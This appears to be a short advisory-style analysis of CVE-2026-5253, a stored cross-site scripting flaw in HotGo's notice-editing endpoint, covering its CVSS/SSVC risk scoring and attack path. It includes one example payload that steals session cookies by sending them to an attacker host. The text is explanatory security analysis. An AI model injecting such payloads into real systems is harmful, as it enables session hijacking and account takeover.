Hotgo CVE-2026-5253

Despite the low CVSS score (3.5), this vulnerability carries moderate real-world risk due to several factors. The CVSS vector indicates network-accessible (AV:N), low attack complexity (AC:L), and requires low-privilege authentication (PR:L), making it accessible to regular authenticated users. The integrity impact (I:L) is limited, and confidentiality/availability are unaffected, explaining the 3.5 score. However, the E:P (Proof-of-Concept Exists) modifier and publicly available exploit code on GitHub increase practical exploitability. The lack of vendor response (RL:X) suggests no patch will be available. From an SSVC perspective: exploitation status is confirmed (POC public), automatable (XSS injection is straightforward once authenticated), and technical impact is limited (stored XSS affecting only the UI layer). Priority depends on deployment context-if HotGo is internet-facing with many authenticated users, risk is moderate; if internal-only, risk is lower. The UI requirement (UI:R) means the victim must interact with the injected payload, reducing severity but not eliminating it.

An authenticated user with low privilege credentials crafts a malicious message containing JavaScript payload (e.g., <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">) and submits it via the editNotice endpoint. The application fails to sanitize the input and stores it in the message list. When another user (or the same attacker via a second account) views the message, the JavaScript executes in their browser, exfiltrating session cookies or performing actions on their behalf. Publicly available POC code from GitHub demonstrates this attack path, enabling attackers to conduct credential theft or perform unauthorized message manipulation within the HotGo application.